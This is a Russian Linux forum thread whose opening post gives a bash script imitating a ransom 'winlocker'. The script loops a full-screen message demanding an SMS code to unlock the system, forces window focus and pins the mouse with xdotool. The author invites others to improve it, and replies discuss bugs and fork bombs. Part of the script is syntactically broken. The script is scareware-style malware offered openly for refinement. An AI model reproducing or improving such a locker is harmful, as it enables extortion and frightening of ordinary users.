LINUX.ORG.RU
ФорумTalks

[«не печатает»][помогите доделать]«Ваша система заблокирована»


0

0

По мотивам http://s004.radikal.ru/i205/1001/95/3cf8c5dac191.png (спасибо, Silvy).

#!/bin/bash

for prog in gmessage xdotool
do
which $prog &>/dev/null || exit 1
done

mousex = $(xdotool getmouselocation | grep -o 'x:[0-9]*' | sed 's/x://')
mousey = $(xdotool getmouselocation | grep -o 'y:[0-9]*' | sed 's/y://')

while true
do
gmessage -title linlock65527262144 -wrap -center -borderless -entry -buttons , 'Система заблокирована. Для разблокировки отправьте СМС с кодом на короткий номер и введите полученный код в поле ниже. Если это не помогает, попробуйте разобраться с проблемой самостоятельно или позовите знакомого гуру к компьютеру. Внимание! Переустановка системы может повлечь за собой потерю важных данных!'
done >/dev/null 2>&1 &

while true
do
xdotool windowfocus $(xdotool search -title linlock65527262144)
xdotool mousemove $mousex $mousey
done 

Собственно, предлагаю это дело обсудить и улучшить.

P.S. Делается это исключительно в шутку, без намерения извлечь выгоду и т.п.

★★★★★

гуигнгнм, думаешь на это поведутся? я после отловленной форкбомбы никакихскриптов не пускаю ;^)

wlan ★★ ()
C:\>#!/bin/bash
"#!" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.
Непредвиденное появление: prog.
C:\>for prog in gmessage xdotool
C:\>
Fredrik ()
Ответ на: комментарий от wlan

> дык, просто надо его переписать, а то его уже все наизусть знают.
Я как-то собирался аналогичным образом зашифровать 'fork while true' но скилла не хватило.

AITap ★★★★★ ()
Ответ на: комментарий от AITap

я тока из-за однострочников перлначал осиливать =)

wlan ★★ ()
Ответ на: комментарий от AITap

> собирался аналогичным образом зашифровать 'fork while true'

А в нормальных дистрибутивах лимиты выставлены, хоть забросайся бомбами.

sin_a ★★★★★ ()

гы, вот вы тут шутки шутите, а сегодня с подружкой помирился благодаря этому winlock. Вломилась ко мне утром наперевес с винтом, мол выручай, работа горит =)

Качнул некую генерилку ответного кода - и voila! все заработало

MadCAD ★★ ()
Ответ на: комментарий от splinter

не, сама где-то подхватила. по порносайтам поди шарилась =)

MadCAD ★★ ()
Ответ на: комментарий от linux4ever

генерилку у себя на ноуте в вайне пускал, вроде без последствий

MadCAD ★★ ()
Ответ на: комментарий от drull

>у меня работает, но очень глючно: вот так

Вот, я попал на imageshack.us и увидел там флэш-баннер с лабиринтиком.

И ведь я знал, что лабиринтик элементарный.

И ведь я знал, что меня перекинет на сайт рекламщиков.

И ведь я знал, что это DarkOrbit.

Но почему же я отключаю AdBlock на сайте imageshack и прохожу там эти лабиринтики каждый раз. Почему? Почему?

proud_anon ★★★★★ ()
Ответ на: комментарий от AITap

О, за заработало, но только из консоли. Мышка свободно двигается, убил все sh процессы, и окошко наконец закрылось

roman77 ★★★★★ ()
Ответ на: комментарий от roman77

> Мышка свободно двигается,
Нужен xdotool. По идее, оно не должно было запускаться при его отсутствии.

AITap ★★★★★ ()
Ответ на: комментарий от lambrianov

Какой вред она наносит, если даже не работает?
Она не вреднее, чем неправильно написанный скрипт.

AITap ★★★★★ ()
Ответ на: комментарий от AITap

понятное дело. но все же это можно уже расценивать как вирус. пусть даже и не похож он на вирус. правда в милиции ты им не будешь это объснять

lambrianov ()
Ответ на: комментарий от lambrianov

Ладно, спасибо за информацию. Впредь таких ошибок совершать не буду :)

AITap ★★★★★ ()
Ответ на: комментарий от B084

> Вы делаете в шутку, а какой-нибудь умник решит денег заработать и бум...

Так линукс же защищеннее венды и подобные вирусы/трояны ему не страшны.
Так на лоре сказали, да.

Fredrik ()
Ответ на: комментарий от Alex_A_V

да не приведи Господь! я конечно, тролль, но толщина у меня не та... к тому же КДЕшник

MadCAD ★★ ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.